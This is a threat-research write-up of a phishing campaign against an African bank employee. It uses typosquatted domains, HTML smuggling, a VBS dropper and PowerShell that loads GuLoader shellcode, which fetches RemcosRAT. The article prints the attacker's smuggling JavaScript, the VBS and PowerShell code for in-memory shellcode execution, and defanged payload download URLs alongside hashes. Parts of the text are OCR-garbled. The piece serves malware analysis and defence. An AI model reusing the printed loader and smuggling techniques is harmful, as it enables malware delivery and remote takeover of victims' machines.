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The top motivation behind cybercrime is financial enrichment and the financial services industry is an attractive
target for cybercriminals. In early 2022, HP Wolf Security detected a targeted malware campaign against an
employee of an African bank. The campaign caught our attention because of its targeted nature and how the threat
actor attempted to deliver malware using HTML smuggling, a technique for sneaking malicious email attachments
past gateway security controls. In this article, we describe the campaign, sharing how the attacker registered fake

banking domains to build a credible lure, and explain how HTML smuggling works.

The Campaign

In early 2022, an employee of a West African bank received an email purporting to be from a recruiter from
another African bank with information about job opportunities there. The domain used to send the email was
typosquatted and does not belong to the legitimate mimicked organization. A WHOIS request reveals the domain
was registered in December 2021 and visiting the website returned an HTTP 404 “Not found” response. To make
the lure more credible, the threat actor also included a reply-to address of another supposed employee of the

recruiting bank.

Searching for other typosquatted domains relating to the mimicked organization revealed two more (Appendix 1)
that may be related to the same malware campaign. The second domain displayed a web page about the bank’s

employment application process, which was likely copied from the legitimate website.

Page 1 of 9


https://www.verizon.com/business/resources/reports/dbir/2021/results-and-analysis/

https://threatresearch.ext.hp.com/malware-campaigns-targeting-african-banking-sector /

%) Faire acte de candidature| Banc X + - O

c > O 8 netpsp S e 8 i

n ENGLISH

Apropos ¥ Pays v Actualités et événements ¥ Documents * Thémes et secteurs * Projets et opérations ~ Savoir ¥ Emplois ¥ Contacts ~

Home @/ A propos # / Emplais & / Travailler 3 la Banque g7 / Faire acte de candidature

Faire acte de candidature

Emplois a la Banque

I << U processus de dépdt de candidature en ligne. Ce

processus vous permet de :

Chercher les annonces de vacances de postes actuels

De créer et de mettre a jour votre profil personnel
De faire acte de candidature
Suivre la situation de la mise & jour de vos candidatures

Drattacher un CV ou un/d’autres dossier(s) a votre candidature
D’envoyer la liste des postes vacants & un collegue
Nous contacter

Ce processus vous prendra 20 minutes au plus. Toutes les informations requises pour votre
formulaire sont énumérées et explicitées ci-dessous. Pour accélérer le processus, veuillez lire les
instructions ci-dessous avant de commencer. Les domaines obligatoires sur le formulaire sont marqués
par (*):
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Figure 1 — Typosquatted bank website describing the job application process.

There is no malware hosted on the page itself, and no input form that could be used to elicit login credentials or

sensitive information from visitors.

The third domain showed the mimicked bank’s homepage, which was also likely copied from the legitimate

website, but again we found no malware or signs that the site was being used for phishing.

Purpose of the Typosquatted Domains

On typosquatted domains 2 and 3 we found had DNS TXT records for Sender Policy Framework (SPF) set up,

suggesting that they were likely used for sending malicious emails. If the websites were used for phishing or
hosting malware, spending time to configure these records would not serve any purpose. Visiting the websites
increases the recipient’s trust in the email lure because they are shown content copied from the legitimate bank,

ultimately making them more likely to act upon the email.

We weren’t able to link all three domains together conclusively, however, domain 2 references the bank’s job
application process — the lure used in the malware campaign — and follows a very similar naming convention to

domain 1, so we think the same threat actor probably registered that infrastructure.

Common Fraud Methods Related to Banks

Phishing Phishing is one of the most common scams targeting bank customers. The attacker

creates a website that imitates a bank’s legitimate login portal and sends the link to
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potential victims via email or SMS. If someone enters their login credentials into the
form, the attacker can use them to log into the account. An effective way to defeat simple
attacks like this is to enforce multi-factor authentication. To circumvent this, the attacker
would have to capture the second factor from the victim and log into the banking portal

when the phishing takes place.

In the fake bank or investment scam the attacker builds a website imitating a legitimate
bank or investment platform. The website is used to attract victims to register an
account, often promising strong returns through investments. When the victim logs into
Fake the website they are shown a fund management tool. The attacker convinces the victim
bank/Investment to transfer money using the tool, supposedly into their account. The money is transferred
scam via third-party providers, instead of normal bank transfers that are subject to stricter anti-
fraud controls. The victim is shown a balance in their fake account, which increases as
expected with a good return. However, the money was in fact transferred to fraudster’s

account and is usually lost for good from the victim.

Malware is sometimes distributed via fake bank websites or emails pretending to be

from banks. This is not exclusively Windows malware. The rise in popularity of
Malware smartphone banking apps means that malware is often distributed as apps targeting
distribution smartphone operating systems. Users should verify they are using the official mobile

banking application and in the case of emails and websites, make sure they have

accessed to correct domain of their bank.

Malware Analysis

In this campaign, the threat actor sent an HTML attachment Fiche de dossiers.htm to the recipient. Opening the

file in a text editor reveals the source code of the page (Figure 2).
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H<script> war dlSbt =

'32aabf4cE66efTadB8lfb4%ad7526468d271e5eb36961d2d24c£33470b8b2dd06ba88e86b18832dcl39095a3691ce2f2c3de3430
2daS561877£8fb517Tb6eb0c5881£f3cel75debT2ETdaaé655bec05a62904d9536caT02d3f420b12a27ef6d81df459108d4b858fa6
001e8ecbEblT0491cc3f35%2a27d4d098bb82decc92edeaa22498bd8e99a37fd%ec264a3f1fdc3ca67c3at13aa33065961388331ec
cb389d304£f2811b5660b22a3562c096be0al12ef6982241064eccebb763231d2e0£8ed2f555051fabT749cfa45f3c1863020a5d%e
3b252f0cadabecdaladsbieaBbf61lT78ed3c4TdbETd36chbbide1Th4bbb7134e8e8e86703dbTc37deTb519253d94a046550T4cdae
6832ecad4ebedf0a77102b5be52a4601c757318241915fd36caf660d6358ef763425763282dad4a27c9c286b182057270f7cbE1b
0d266ddf0202c6b515b153eca2lcad2327b38f745fed99f155d44a709739%e312bd13ea% cT31cc0c8a49a725b64e8b6a’c0f940
577Tbc354easfbaccfbadfdfdealel 867d30875669417b04d4cfSb0743eaT7id4a00674f8c8f2059f8e0df22ad3ca%35aacedsit
3422c2b640849b262422f8461b26246daTfe43065cb223431ae268245cd055c42T70bdT7885072a306882cd5af495367508caeele
3a7laa70b28dleaB8bc954274d156a6£48c£7c309fd0bb9488b33592d5862000628b08d022T76bd4£fa8Tc2d638£25dcaaabaTcb20
12b347d3426e910ef0c4d7b0ab2f61alc4555Tbecell1464025018aefeddec54bd46769600d32c2906b2b50c3cas6e817a79Tac22
dfad8e2d7c3B568bdeaf39dalclesff68d292c8110e0e030£7ab4f2093aB8e7792b62"' ; <fscript> <html>
<body>

<script>
function baseéd4ToArrayBuffer (basegd) {
var binary string = window.atob(baseé4);
var len = binary string.length;?

var bytes = new Uint8Array( len ) ;
for (var 1 = 0; 1 < len; i++) { bytes[i] = binary string.charCodeRtc(i); }
return bytes.buffer;

// baseé4 encoded iso file
var file =

‘RALLAALARARMALR AR AL AL A AL A AL AR AR AR A A A A A AR AL AL AR AL A AR A AR AR ADIE

Figure 2 — Source code of HTML attachment Fiche de dossiers.htm.

The file contains encoded data and a decoding function. As can already be seen from the comment in the image
above, it is a Base64 encoded ISO file. Further down in the source code, this ISO file is decoded and offered to the

user in a web browser download prompt using a JavaScript blob (Figure 3).

Do you want to open or save Dossier Bad.iso (164 KB) from DESKTOP-2C31QHO? | Open | | Save |v | | Cancel | »

Figure 3 — Web browser download prompt offering to save the ISO file to the file system.

HTML Smuggling

HTML smuggling is a technique that enables attackers to sneak file formats that would otherwise be blocked past
email gateways by encoding them in an HTML file. JavaScript blobs or HTML5 download attributes can be used
to decode and reconstruct the file. When the user opens the HTML attachment using a web browser, they are
prompted to download the file, which is already stored on the local system. This way HTML smuggling bypasses
security controls that block malicious website traffic, such as web proxies. The technique is dangerous because

HTML email attachments are not typically blocked at gateways and detecting the encoded malware can be
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challenging. Using this technique, dangerous file types can be smuggled into an organization and lead to malware

infection.

In Windows 10, double clicking the ISO file causes it to be mounted as disc media, which opens a new File

Explorer window that shows its contents.

= Drive Tools  DVD Drive (F:) 28_01_2022 — O b
Home Share View Manage e
= v P » ThisPC » DVD Drive (F:) 28_07_2022 w 0 Search OVD Drive (F:) 28 01 2... 0@
« [ This PC * [ MName a Date modified Type Size
“J 3D Objects Fiche de candidature.vhs 1/28/2022 4:24 AM VBScript Script File 103 KB
I Desktop
|if| Documents
* Downloads
J‘& Music
& | Pictures
ﬁ Videos
e Local Disk ()
» (4 DVD Drive (F) 28_01_2022 v
1item EEl

Figure 4 — Contents of ISO file Dossier Bad.iso.

Inside there is a Visual Basic Script (VBS) file called Fiche de candidature.vbs which is executed when double-
clicked. One way to prevent the accidental execution of malicious VBS scripts is to change the default application
of .vbs files to a text editor. This way a direct execution can be prevented. If we now open this file in an editor, we

see the following code (Figure 5).

'SKYD Psycho INDECM infernali kont IRREGUL ARCH CLATHRACE I d furcra Firkantl AgtvrdigtT dis
'tertiod ULSEL ENUCELESA D INFE Predonorl Engrosh T 1 i Cutw Sinuoussté danma Gasl CALCN tetryls
Numudalle bunkr BalanceganzZ Appr3

Dim objshell, MyFile
TEMIAKSCOR="MW St
Furre="35
FORSNVE=":
Frui3="%w
Graperoota=
SCDOMIENSA="F
ANERGIAS="Z

Dim drceWait
dteWait = DateRdd("=", 10, Now())
Do Until (Mow () > dteWait)

Loop

oxid = oxid &

oxid = oxid &

oxid = oxid &

oxid = oxid &

oxid = oxid &

oxid = oxid &

oxid = oxid &

oxid = oxid & "C D11960D0000SBO000SBO000S

Figure 5 — VBS code containing variable and data definitions.
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The script contains variables, such as a registry key or a path to PowerShell.exe, and some encoded data. When
the script is executed, it creates a new Registry key and stores a long hexadecimal string in it. Then PowerShell is

executed and passing an encoded command. The corresponding code sequences can be seen in Figure 6.

MyFile = objShell.ExpandEnvironmentStrings(Fruil) & Graperoota
objShell .RegWrite FCORSNVR,oxid,SODCMIENSR

Set 3a = CreateCbject (AMERGIAS)

If CCA.FileExists(MyFile) = Truse then

sa.S5hellExecute MyFile, "-HoExit -EncodedCommand " & chr(34) & Rationali & chr(34), "", "", O

%else
sa.S5hellExecute "powershell.exe", "-HNoExit -EncodedCommand " & chr({34) & Rationali & chr ({34}, "", "", 0
end if

Figure 6 — Visual Basic Script code containing PowerShell execution.

The PowerShell script uses C# type definitions to call Windows API functions. First the script allocates a memory

area with NtAllocateVirtualMemory. Then the previously stored hexadecimal string is read from the Registry and a

new byte array is created. The array is copied with RtIMoveMemory into the newly allocated memory area. The
copied byte array is shellcode which is executed via an API call to CallWindowProcW. For this purpose, only the

memory address of the shellcode is passed to the function as the first argument (WNDPROQOC), which is used as the

callback address causing malware to run.

1 #Elektris MARTIALIN BLUFFE FARMEREN Spiloé TICKT NOTEKI Nabor MRSKMATER SEJRSGLD KERATOL HOSENAFH Brigalowu resubscrib UNDISC
2 EDAdd-Type -TypeDefinition @"

3 using System;

4 using System.Runtime.InteropServices;

5 public static class TILLGS1
[
8
9

1

[D11Import("ntd11.d71")]public static extern int NtAllocateVirtualMemory(int TILLGS6,ref Int32 Proso,int HOVEDS,ref Int32 TILLGS,int privaci,int TILLGS7);
[D11Import("user32.d11")]public static extern IntPtr CallWindowProcwW(uint HOVEDS5,int HOVEDS6,int HOVEDST,inmt HOVEDSS,int HOVEDS9);
[D11Import("kernel32.d11")]public static extern void RtIMoveMemory(IntPtr HOVEDSL,ref Int32 HOVEDS2,int HOVEDS3);

1

11 '@

12  #Carbol telegra overfl opti soul Terminspr klukke Mate6 Stumé MILIU Over SLGTSP Bughu Tensté
13 STILLGS3=0;
10485763

14 $TIL

15 STILLGS TILLGS1 NtAllocateVirtualMemory (-1, [ref]STILLGS3,0, [ref|$TILLGS9,12288,64)
16  SOreadss=(Get-ItemProperty -Path "HKCU:\Softwarei0len™).0len

17

18 $unde System. Byte CreateInstance([System.Byte],30readss. Length 2)
19

20

21

22 For(5i=0; %1 $0readss._Length; $i+=2)

23 [ i

24 fUnde[51/2 convert ToByte(50readss.Substring(3+1, 2), 16)

25 H

26

27

28  for(SSAMLELINS=0; SSAMLELINS SUnde. count ; $SAMLELINS++)

29 BI{

31 TILLGS1]: :RtTMoveMemory (3TILLGS3+3SAMLELINS, [ref]SUnde[SSAMLELINS],1)

H
34 TILLGS1] ::CallWindowProcW(STILLGS3, 0,0,0,0)

Figure 7 — PowerShell code using C# type definitions to execute malicious code.

Analyzing the shellcode with a debugger reveals a simple decryption function at the very beginning of the code.
The code is then decrypted using an XOR operation, which is located directly after the decryption function, and

then executed.
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B cru @ Graph | . Log [ Notes ® Breakpoints B Memory Map L) call Stack &3 SEH J#3| Seript & symbols <

e 81 ED 00 03 00 00 sub ebp, 300
. 63 BE 56 AB BB push FFFFFFFFEBABSGBE
. 81 34 24 3C CB 96 F2|xor dword ptr ss:[frspl,F296CB3C
. 81 2C 24 12 FC 3C 49| sub dword ptr ss:|firspll,433CFC1z2
. SA pop rdx
. v EB 15 jmp 1940AB20031
. 5F pop rdi
. 31 CO XOr eax,eax
E—-ﬁ——)- 81 34 07 F4 7D 69 D4|xor dword ptr ds:[rdi+rax],D4637DF4
. Fa clc
r---l---->o 53 DO 04 adc eax, 4
! . 39 DO cmp eax, edx
! —_— ~ 75 F1 jne 19A0AB9001F
] . 57 push rdi
! * FF D7 call rdi
| . E8 E6& FF FF FF call 13A0AB9001C
Th—t—e 1D B3 69 D4 F4 sbb eax,F4D469B3
! . ~ 7A B3 jp 19ADABEFFFO
! . CA A5 B0 EEENRER =0As

Figure 8 — Shellcode decryption function.

The decrypted code is GuLoader. This malware is a loader that downloads and executes other malware families
from the web. In this campaign GuLoader was configured to download and run RemcosRAT malware. For this
purpose, there are two URLSs in GuLoader’s configuration that lead to the RemcosRAT payload. One payload URL

leads to OneDrive and the other to Dropbox. We have analyzed other malware campaigns involving GuLoader

have also used file sharing services to host malware payloads. Since the payload is also encrypted, it can be

challenging for service providers to detect and remove them.

Delivered Payload

Remcos is a commercial Windows remote access tool (RAT) that gives the operator significant control over the
infected system. Its capabilities include running remote commands, downloading and uploading files, taking
screenshots, recording keystrokes and recording the user’s webcam and microphone. While we don’t know for

certain what the attacker would have used their access for, but here are some possibilities:

» Long term persistent access with the objective of making fraudulent transactions, for example through the
SWIFT payment system. This would require the threat actor to deploy tools to understand the network,
move laterally, monitor internal procedures and take advantage of them. The attacker might take advantage
of the employee’s position in the bank since they would have access to their corporate email account.

e Move laterally with the goal of compromising domain controllers to deploy ransomware. They might also
steal sensitive/protected data that could be used to extort the target.

o Sell their access to another threat actor.

Conclusion

HP Wolf Security detected a targeted malware campaign on the banking sector in Africa. The attacker sent emails

from typosquatted domains of a legitimate bank luring them to apply for a job by opening a malicious attachment.
If the user opens the HTML file, they are prompted to download an ISO file, which in turn contains a Visual Basic
script that leads to a malware infection when executed. This technique is called HTML smuggling and is

dangerous because it enables attackers to smuggle malicious files past email gateway security.

The downloader used in the described campaign is GuL.oader, which is executed using PowerShell via code stored
the Registry and is otherwise only run in memory. Detecting such a chain of infection is not easy, as the malware
is only located in memory and the Registry. However, one simple way of breaking the infection chain is changing

the default application for script files from Windows Script Host to something else, for example, Notepad.
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Organizations should also make sure they have visibility over their network to monitor and block unusual process
behavior at an early stage. Beyond this, it is important for employees to critically question emails, especially those
that appeal to a sense of urgency, curiosity and authority — characteristics that are commonly exploited by

attackers.

Indicators of Compromise

The files of the following hashes can also be found MalwareBazaar.

HTML file:
9af5400545853d895f82b0259a7dafd0a9c1465c374b0925cc83f14dd29b29c5
ISO file:
7079ff76eb4b9d891fd04159008c477f6c7b10357b5bba52907c2eb0645887aa
VBS script:
43aaa7f39e9bb4039f70daf61d84b4cde2b3273112f9d022242f841a4829da03
PowerShell script:
0407eab084e910bdd6368f73b75ba2e951e3b545d0c9477e697 1ffe6a52a273a
Encrypted GuLoader shellcode:
d681b39362fae43843b1c6058c0aa8199673052507e5c500b7361c935037e05e
RemcosRAT Payload URLs:

hxxps://onedrive.live[.]Jcom/download?
cid=50D26408C26A8B34&resid=50D26408C26A8B34%?21114&authkey=AGW61DVvT-RT_FRU

hxxps://www.dropbox[.]com/s/veqimnoofpaqmx1/rmss_umUIGF84.bin?dI=1
Encrypted RemcosRAT payload:
5d45422cf2c38af734cee5a5c9fa2fef005f9409d5d5b74814aeala5f246835d
Typosquatted Domains

The following domains were typosquatted by the threat actor to impersonate a credible and legitimate organization

and do not represent a vulnerability affecting the organization.

Typosquatted domain 1 afbd-bad[.]Jorg

Typosquatted domain 2 afdb-bad].]Jorg
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Typosquatted domain 3 afdb-zal[.]org

Source: https://threatresearch.ext.hp.com/malware-campaigns-targeting-african-banking-sector/
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